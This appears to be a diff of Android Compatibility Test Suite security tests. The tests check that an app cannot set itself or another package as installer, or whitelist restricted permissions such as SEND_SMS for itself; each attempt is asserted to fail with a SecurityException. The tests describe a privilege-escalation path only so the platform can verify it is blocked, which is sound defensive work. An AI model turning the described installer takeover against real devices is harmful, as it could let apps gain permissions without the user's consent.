+import org.junit.Rule
+import org.junit.Test
+import org.junit.rules.ExpectedException
+
+class PermissionRequestTest {
+
+    @get:Rule
+    val expectedException = ExpectedException.none()
+
+    private val arguments: Bundle = InstrumentationRegistry.getArguments()
+    private val permission = arguments.getString(PackageSetInstallerConstants.PERMISSION_KEY)!!
+    private val context: Context = InstrumentationRegistry.getContext()
+    private val packageName = context.packageName
+    private val packageManager = context.packageManager
+
+    @Before
+    @After
+    fun verifyPermissionsDeniedAndInstallerUnchanged() {
+        assertThat(context.checkSelfPermission(permission))
+                .isEqualTo(PackageManager.PERMISSION_DENIED)
+        assertThat(context.checkSelfPermission(Manifest.permission.INSTALL_PACKAGES))
+                .isEqualTo(PackageManager.PERMISSION_DENIED)
+        assertThat(packageManager.getInstallerPackageName(packageName))
+                .isEqualTo(null)
+    }
+
+    @Test
+    fun setSelfAsInstallerAndWhitelistPermission() {
+        val shouldThrowException = arguments.getString(SHOULD_THROW_EXCEPTION_KEY)!!.toBoolean()
+        if (shouldThrowException) {
+            expectedException.expect(SecurityException::class.java)
+        }
+
+        try {
+            // This set call should fail
+            packageManager.setInstallerPackageName(packageName, packageName)
+        } finally {
+            // But also call the whitelist method to attempt to take the permission regardless.
+            // If this fails, which it should, it should also be a SecurityException.
+            try {
+                packageManager.addWhitelistedRestrictedPermission(packageName,
+                        permission, PackageManager.FLAG_PERMISSION_WHITELIST_INSTALLER)
+                Assert.fail("addWhitelistedRestrictedPermission did not throw SecurityException")
+            } catch (ignored: SecurityException) {
+                // Ignore this to defer to shouldThrowException from above call
+            }
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/utils/src/android/appsecurity/cts/PackageSetInstallerConstants.kt b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/utils/src/android/appsecurity/cts/PackageSetInstallerConstants.kt
new file mode 100644
index 0000000..723cb94
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/utils/src/android/appsecurity/cts/PackageSetInstallerConstants.kt
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts
+
+// Placed in CtsPkgInstallerPermRequestApp sources as its manifest declares what permissions to test
+object PackageSetInstallerConstants {
+
+    // The app that will be attempting to take over as installer and grant itself permissions
+    const val TARGET_APK = "CtsPkgInstallerPermRequestApp.apk"
+    const val TARGET_PKG = "com.android.cts.packageinstallerpermissionrequestapp"
+
+    // The app acting as the original installer who can restrict permissions
+    const val WHITELIST_APK = "CtsPkgInstallerPermWhitelistApp.apk"
+    const val WHITELIST_PKG = "com.android.cts.packageinstallerpermissionwhitelistapp"
+
+    const val PERMISSION_HARD_RESTRICTED = "android.permission.SEND_SMS"
+    const val PERMISSION_NOT_RESTRICTED = "android.permission.ACCESS_COARSE_LOCATION"
+    const val PERMISSION_IMMUTABLY_SOFT_RESTRICTED = "android.permission.READ_EXTERNAL_STORAGE"
+    const val PERMISSION_KEY = "permission"
+
+    // Whether setInstallerPackageName should throw
+    const val SHOULD_THROW_EXCEPTION_KEY = "shouldThrowException"
+
+    // Whether or not some boolean return method call should succeed
+    const val SHOULD_SUCCEED_KEY = "shouldSucceed"
+
+    // PackageManagerService.THROW_EXCEPTION_ON_REQUIRE_INSTALL_PACKAGES_TO_ADD_INSTALLER_PACKAGE
+    const val CHANGE_ID = 150857253
+}
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp
similarity index 65%
copy from tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
copy to hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp
index d957080..94dc075 100644
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp
@@ -1,4 +1,3 @@
-//
 // Copyright (C) 2020 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
@@ -12,19 +11,25 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
-//
 
 android_test_helper_app {
-    name: "CtsAutoRevokeWhitelistedDummyApp",
+    name: "CtsPkgInstallerPermWhitelistApp",
     defaults: ["cts_defaults"],
-    sdk_version: "test_current",
-    // Tag this module as a cts test artifact
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "CtsPkgInstallerConstants",
+        "testng",
+    ],
+    srcs: ["src/**/*.kt"],
+    // tag this module as a cts test artifact
     test_suites: [
         "cts",
-        "vts",
         "vts10",
-        "mts",
         "general-tests",
     ],
-    srcs: ["src/**/*.java", "src/**/*.kt"],
+    sdk_version: "test_current",
+    target_sdk_version: "29",
+    // sign this app with a different cert than CtsPkgInstallerPermRequestApp
+    certificate: ":cts-testkey1",
 }
diff --git a/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/AndroidManifest.xml
new file mode 100644
index 0000000..ecc544f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+       package="com.android.cts.packageinstallerpermissionwhitelistapp">
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.packageinstallerpermissionwhitelistapp"
+                     android:label="Test for unset package installer permission exploit."/>
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/src/com/android/cts/packageinstallerpermissionwhitelistapp/PermissionWhitelistTest.kt b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/src/com/android/cts/packageinstallerpermissionwhitelistapp/PermissionWhitelistTest.kt
new file mode 100644
index 0000000..464047e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/src/com/android/cts/packageinstallerpermissionwhitelistapp/PermissionWhitelistTest.kt
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packageinstallerpermissionwhitelistapp
+
+import android.Manifest
+import android.appsecurity.cts.PackageSetInstallerConstants
+import android.appsecurity.cts.PackageSetInstallerConstants.PERMISSION_KEY
+import android.appsecurity.cts.PackageSetInstallerConstants.SHOULD_THROW_EXCEPTION_KEY
+import android.appsecurity.cts.PackageSetInstallerConstants.TARGET_PKG
+import android.content.Context
+import android.content.pm.PackageManager
+import android.os.Bundle
+import androidx.test.InstrumentationRegistry
+import com.android.compatibility.common.util.ShellIdentityUtils
+import com.google.common.truth.Truth.assertThat
+import org.junit.Before
+import org.junit.Test
+import org.testng.Assert.assertThrows
+
+class PermissionWhitelistTest {
+
+    private val arguments: Bundle = InstrumentationRegistry.getArguments()
+    private val shouldThrowException = arguments.getString(SHOULD_THROW_EXCEPTION_KEY)
+            ?.toBoolean() ?: false
+    private val permission = arguments.getString(PERMISSION_KEY)!!
+    private val context: Context = InstrumentationRegistry.getContext()
+    private val packageName = context.packageName
+    private val packageManager = context.packageManager
+
+    @Before
+    fun verifyNoInstallPackagesPermissions() {
+        // This test adopts shell permissions to get INSTALL_PACKAGES. That ensures that the
+        // whitelist package having INSTALL_PACKAGES doesn't bypass any checks. In a realistic
+        // scenario, this whitelisting app would request install, not directly install the target
+        // package.
+        assertThat(context.checkSelfPermission(Manifest.permission.INSTALL_PACKAGES))
+                .isEqualTo(PackageManager.PERMISSION_DENIED)
+    }
+
+    @Test
+    fun setTargetInstallerPackage() {
+        assertTargetInstaller(null)
+
+        val block = {
+            packageManager.setInstallerPackageName(TARGET_PKG, packageName)
+        }
+
+        if (shouldThrowException) {
+            assertThrows(SecurityException::class.java) { block() }
+        } else {
+            block()
+        }
+
+        assertTargetInstaller(null)
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(packageManager,
+                ShellIdentityUtils.ShellPermissionMethodHelperNoReturn {
+                    it.setInstallerPackageName(TARGET_PKG, packageName)
+                }, Manifest.permission.INSTALL_PACKAGES)
+        assertTargetInstaller(packageName)
+    }
+
+    @Test
+    fun removeWhitelistRestrictedPermission() {
+        val block = {
+            packageManager.removeWhitelistedRestrictedPermission(TARGET_PKG, permission,
+                    PackageManager.FLAG_PERMISSION_WHITELIST_INSTALLER)
+        }
+
+        val shouldSucceed = arguments.getString(
+                PackageSetInstallerConstants.SHOULD_SUCCEED_KEY)
+        if (shouldSucceed == null) {
+            assertThrows(SecurityException::class.java) { block() }
+        } else {
+            assertThat(block()).isEqualTo(shouldSucceed.toBoolean())
+        }
+
+        assertThat(packageManager.checkPermission(permission, TARGET_PKG))
+                .isEqualTo(PackageManager.PERMISSION_DENIED)
+    }
+
+    private fun assertTargetInstaller(installer: String?) {
+        assertThat(packageManager.getInstallerPackageName(TARGET_PKG))
+                .isEqualTo(installer)
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
index dd43c7f..57bb99c 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
@@ -15,7 +15,10 @@
 android_test_helper_app {
     name: "CtsPermissionDeclareApp",
     defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt",
+    ],
     sdk_version: "current",
     static_libs: ["androidx.test.rules"],
     // tag this module as a cts test artifact
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml
index 9188993..1282c45 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml
@@ -32,6 +32,14 @@
 
     <permission android:name="com.android.cts.permissionNormal" />
 
+    <!-- To set package installer -->
+    <uses-permission android:name="android.permission.INSTALL_PACKAGES" />
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.permissiondeclareapp"
+        />
+
     <application>
         <provider android:name="UtilsProvider"
                 android:authorities="com.android.cts.permissiondeclareapp"
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/ModifyInstallerCrossPackageTest.kt b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/ModifyInstallerCrossPackageTest.kt
new file mode 100644
index 0000000..23609fd
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/ModifyInstallerCrossPackageTest.kt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.permissiondeclareapp
+
+import android.Manifest
+import androidx.test.InstrumentationRegistry
+import androidx.test.runner.AndroidJUnit4
+import org.junit.AfterClass
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.BeforeClass
+import org.junit.Test
+import org.junit.runner.RunWith
+
+/**
+ * The companion to UsePermissionDiffCert's ModifyInstallerCrossPackageTest which sets its own
+ * installer package. These are purposely named identically so that the host test doesn't need
+ * to swap test class names.
+ */
+@RunWith(AndroidJUnit4::class)
+class ModifyInstallerCrossPackageTest {
+
+    companion object {
+        @JvmStatic
+        @BeforeClass
+        fun adoptPermissions() {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGES)
+        }
+
+        @JvmStatic
+        @AfterClass
+        fun dropPermissions() {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity()
+        }
+    }
+
+    private val context = InstrumentationRegistry.getContext()
+    private val packageManager = context.packageManager
+
+    /**
+     * Excludes this test when running an instrumentation runner against the entire package,
+     * requiring a specific call and parameter to have the method run. Parses as a string since
+     * that's all that runDeviceTests supports.
+     *
+     * Must be @[Before] because testing reporting infrastructure doesn't support assumptions in
+     * @[BeforeClass].
+     */
+    @Before
+    fun assumeRunExplicit() {
+        assumeTrue(InstrumentationRegistry.getArguments()
+                .getString(UtilsProvider.EXTRA_RUN_EXPLICIT)?.toBoolean() ?: false)
+    }
+
+    @Test
+    fun takeInstaller() {
+        packageManager.setInstallerPackageName(context.packageName, context.packageName)
+    }
+
+    @Test
+    fun clearInstaller() {
+        packageManager.setInstallerPackageName(context.packageName, null)
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
index ca23d8f..39da864 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
@@ -35,6 +35,7 @@
     public static final String ACTION_GRANT_URI = "grantUri";
     public static final String ACTION_REVOKE_URI = "revokeUri";
     public static final String ACTION_START_ACTIVITY = "startActivity";
+    public static final String ACTION_START_ACTIVITIES = "startActivities";
     public static final String ACTION_START_SERVICE = "startService";
     public static final String ACTION_VERIFY_OUTGOING_PERSISTED = "verifyOutgoingPersisted";
     public static final String ACTION_SET_PRIMARY_CLIP = "setPrimaryClip";
@@ -46,6 +47,7 @@
     public static final String EXTRA_INTENT = Intent.EXTRA_INTENT;
     public static final String EXTRA_URI = "uri";
     public static final String EXTRA_MODE = "mode";
+    public static final String EXTRA_RUN_EXPLICIT = "runExplicit";
 
     @Override
     public Bundle call(String method, String arg, Bundle extras) {
@@ -69,6 +71,11 @@
                 newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                 context.startActivity(newIntent);
 
+            } else if (ACTION_START_ACTIVITIES.equals(action)) {
+                final Intent newIntent = intent.getParcelableExtra(EXTRA_INTENT);
+                newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                context.startActivities(new Intent[] { newIntent });
+
             } else if (ACTION_START_SERVICE.equals(action)) {
                 final Intent newIntent = intent.getParcelableExtra(EXTRA_INTENT);
                 context.startService(newIntent);
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/src/com/android/cts/readexternalstorageapp/ReadGiftTest.java b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/src/com/android/cts/readexternalstorageapp/ReadGiftTest.java
index c9ef723..d3d8cad 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/src/com/android/cts/readexternalstorageapp/ReadGiftTest.java
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/src/com/android/cts/readexternalstorageapp/ReadGiftTest.java
@@ -17,8 +17,12 @@
 package com.android.cts.readexternalstorageapp;
 
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.PACKAGE_NONE;
+import static com.android.cts.externalstorageapp.CommonExternalStorageTest.PACKAGE_READ;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertFileNoAccess;
-import static com.android.cts.externalstorageapp.CommonExternalStorageTest.getAllPackageSpecificObbGiftPaths;
+import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertFileReadWriteAccess;
+import static com.android.cts.externalstorageapp.CommonExternalStorageTest.getAllPackageSpecificNoGiftPaths;
+import static com.android.cts.externalstorageapp.CommonExternalStorageTest.readInt;
+import static com.android.cts.externalstorageapp.CommonExternalStorageTest.writeInt;
 
 import android.test.AndroidTestCase;
 
@@ -26,13 +30,28 @@
 import java.util.List;
 
 public class ReadGiftTest extends AndroidTestCase {
+    public void testStageNonGifts() throws Exception {
+        final List<File> readList = getAllPackageSpecificNoGiftPaths(getContext(), PACKAGE_READ);
+        for (File read : readList) {
+            read.getParentFile().mkdirs();
+            assertTrue(read.createNewFile());
+            writeInt(read, 101);
+        }
+    }
+
     /**
-     * Verify we can't read other obb dirs.
+     * Verify we can read & write only our gifts.
      */
-    public void testCantAccessOtherObbDirs() throws Exception {
-        final List<File> noneList = getAllPackageSpecificObbGiftPaths(getContext(), PACKAGE_NONE);
+    public void testNoGifts() throws Exception {
+        final List<File> noneList = getAllPackageSpecificNoGiftPaths(getContext(), PACKAGE_NONE);
         for (File none : noneList) {
             assertFileNoAccess(none);
         }
+
+        final List<File> readList = getAllPackageSpecificNoGiftPaths(getContext(), PACKAGE_READ);
+        for (File read : readList) {
+            assertFileReadWriteAccess(read);
+            assertEquals(101, readInt(read));
+        }
     }
 }
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/src/com/android/cts/readexternalstorageapp/ReadMultiViewTest.java b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/src/com/android/cts/readexternalstorageapp/ReadMultiViewTest.java
index 9ba53dd..3a713f0 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/src/com/android/cts/readexternalstorageapp/ReadMultiViewTest.java
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/src/com/android/cts/readexternalstorageapp/ReadMultiViewTest.java
@@ -16,10 +16,6 @@
 
 package com.android.cts.readexternalstorageapp;
 
-import static android.test.MoreAsserts.assertNotEqual;
-
-import static com.android.cts.externalstorageapp.CommonExternalStorageTest.PACKAGE_WRITE;
-import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertFileReadOnlyAccess;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertFileReadWriteAccess;
 
 import android.system.Os;
@@ -27,7 +23,6 @@
 import android.test.AndroidTestCase;
 
 import java.io.File;
-import java.util.List;
 
 public class ReadMultiViewTest extends AndroidTestCase {
     /**
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index d287311..f507d40 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -45,6 +45,8 @@
 import android.os.storage.StorageManager;
 import android.provider.Settings;
 import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiScrollable;
 import android.support.test.uiautomator.UiSelector;
 import android.test.InstrumentationTestCase;
 
@@ -100,6 +102,12 @@
         device.waitForIdle();
 
         if (!isTV(getContext())) {
+            UiScrollable uiScrollable = new UiScrollable(new UiSelector().scrollable(true));
+            try {
+                uiScrollable.scrollTextIntoView("internal storage");
+            } catch (UiObjectNotFoundException e) {
+                // Scrolling can fail if the UI is not scrollable
+            }
             device.findObject(new UiSelector().textContains("internal storage")).click();
             device.waitForIdle();
         }
@@ -327,4 +335,4 @@
         PackageManager pm = context.getPackageManager();
         return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
     }
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
index 316f7ea..f8bde12 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
@@ -17,11 +17,13 @@
     defaults: ["cts_support_defaults"],
     srcs: [
         "src/**/*.java",
+        "src/**/*.kt",
     ],
     sdk_version: "current",
     static_libs: [
         "CtsPermissionDeclareUtilLib",
         "androidx.test.rules",
+        "testng",
         "truth-prebuilt",
     ],
     libs: ["android.test.base.stubs"],
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
index 18f6096..615d6dc 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
@@ -17,6 +17,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
        package="com.android.cts.usespermissiondiffcertapp">
 
+    <uses-permission android:name="android.permission.INSTALL_PACKAGES"/>
+
     <!-- We say we want to use the other app's permission, but it is signed with
          a different cert so it should fail. -->
     <uses-permission android:name="com.android.cts.permissionWithSignature"/>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerCrossPackageTest.kt b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerCrossPackageTest.kt
new file mode 100644
index 0000000..f652a27
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerCrossPackageTest.kt
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.usespermissiondiffcertapp
+
+import android.Manifest
+import androidx.test.InstrumentationRegistry
+import androidx.test.runner.AndroidJUnit4
+import com.android.cts.permissiondeclareapp.UtilsProvider
+import com.android.cts.usespermissiondiffcertapp.ModifyInstallerPackageTest.MY_PACKAGE
+import com.android.cts.usespermissiondiffcertapp.ModifyInstallerPackageTest.OTHER_PACKAGE
+import com.android.cts.usespermissiondiffcertapp.ModifyInstallerPackageTest.assertPackageInstallerAndInitiator
+import org.junit.AfterClass
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.BeforeClass
+import org.junit.Test
+import org.junit.runner.RunWith
+import org.testng.Assert.assertThrows
+
+/**
+ * Tests that one application can and can not modify the installer package
+ * of another application is appropriate.
+ *
+ * This is split from [ModifyInstallerPackageTest] to allow the host side test to instrument
+ * both this app and PermissionDeclareApp in alternating fashion, using adoptShellPermissionIdentity
+ * to grant them the INSTALL_PACKAGES permission they would normally not be able to hold inside CTS.
+ */
+@RunWith(AndroidJUnit4::class)
+class ModifyInstallerCrossPackageTest {
+
+    companion object {
+        @JvmStatic
+        @BeforeClass
+        fun adoptPermissions() {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGES)
+        }
+
+        @JvmStatic
+        @AfterClass
+        fun dropPermissions() {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity()
+        }
+    }
+
+    private val context = InstrumentationRegistry.getContext()
+    private val packageManager = context.packageManager
+
+    /**
+     * Excludes this test when running an instrumentation runner against the entire package,
+     * requiring a specific call and parameter to have the method run. Parses as a string since
+     * that's all that runDeviceTests supports.
+     *
+     * Must be @[Before] because testing reporting infrastructure doesn't support assumptions in
+     * @[BeforeClass].
+     */
+    @Before
+    fun assumeRunExplicit() {
+        assumeTrue(InstrumentationRegistry.getArguments()
+                .getString(UtilsProvider.EXTRA_RUN_EXPLICIT)?.toBoolean() ?: false)
+    }
+
+    @Test
+    fun assertBefore() {
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, packageManager)
+    }
+
+    @Test
+    fun attemptTakeOver() {
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, OTHER_PACKAGE, null, packageManager)
+        assertThrows { packageManager.setInstallerPackageName(OTHER_PACKAGE, MY_PACKAGE) }
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, OTHER_PACKAGE, null, packageManager)
+    }
+
+    @Test
+    fun assertAfter() {
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, packageManager)
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java
index a204f47..ec9663c 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java
@@ -16,58 +16,100 @@
 
 package com.android.cts.usespermissiondiffcertapp;
 
-import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_SET_INSTALLER_PACKAGE_NAME;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_INSTALLER_PACKAGE_NAME;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_PACKAGE_NAME;
-
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
+import android.Manifest;
+import android.content.Context;
 import android.content.Intent;
 import android.content.pm.InstallSourceInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.SigningInfo;
 import android.os.Bundle;
-import android.test.AndroidTestCase;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.cts.permissiondeclareapp.UtilsProvider;
 
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Tests that one application can and can not modify the installer package
  * of another application is appropriate.
  *
  * Accesses app cts/tests/appsecurity-tests/test-apps/PermissionDeclareApp/...
  */
-public class ModifyInstallerPackageTest extends AndroidTestCase {
-    private static final String OTHER_PACKAGE = "com.android.cts.permissiondeclareapp";
-    private static final String MY_PACKAGE = "com.android.cts.usespermissiondiffcertapp";
+@RunWith(AndroidJUnit4.class)
+public class ModifyInstallerPackageTest {
+    static final String OTHER_PACKAGE = "com.android.cts.permissiondeclareapp";
+    static final String MY_PACKAGE = "com.android.cts.usespermissiondiffcertapp";
 
-    private PackageManager mPM;
+    static void assertPackageInstallerAndInitiator(String packageName,
+            String expectedInstaller, String expectedInitiator, PackageManager packageManager)
+            throws Exception {
+        assertEquals(expectedInstaller, packageManager.getInstallerPackageName(packageName));
+        final InstallSourceInfo installSourceInfo =
+                packageManager.getInstallSourceInfo(packageName);
+        assertEquals(expectedInstaller, installSourceInfo.getInstallingPackageName());
+        assertEquals(expectedInitiator, installSourceInfo.getInitiatingPackageName());
 
-    public void setUp() throws Exception {
-        super.setUp();
-        mPM = getContext().getPackageManager();
+        // We should get the initiator's signature iff we have an initiator.
+        if (expectedInitiator == null) {
+            assertNull(installSourceInfo.getInitiatingPackageSigningInfo());
+        } else {
+            final SigningInfo expectedSigning = packageManager.getPackageInfo(expectedInitiator,
+                    PackageManager.GET_SIGNING_CERTIFICATES).signingInfo;
+            final SigningInfo actualSigning = installSourceInfo.getInitiatingPackageSigningInfo();
+            assertThat(actualSigning.getApkContentsSigners()).asList()
+                    .containsExactlyElementsIn(expectedSigning.getApkContentsSigners());
+        }
+    }
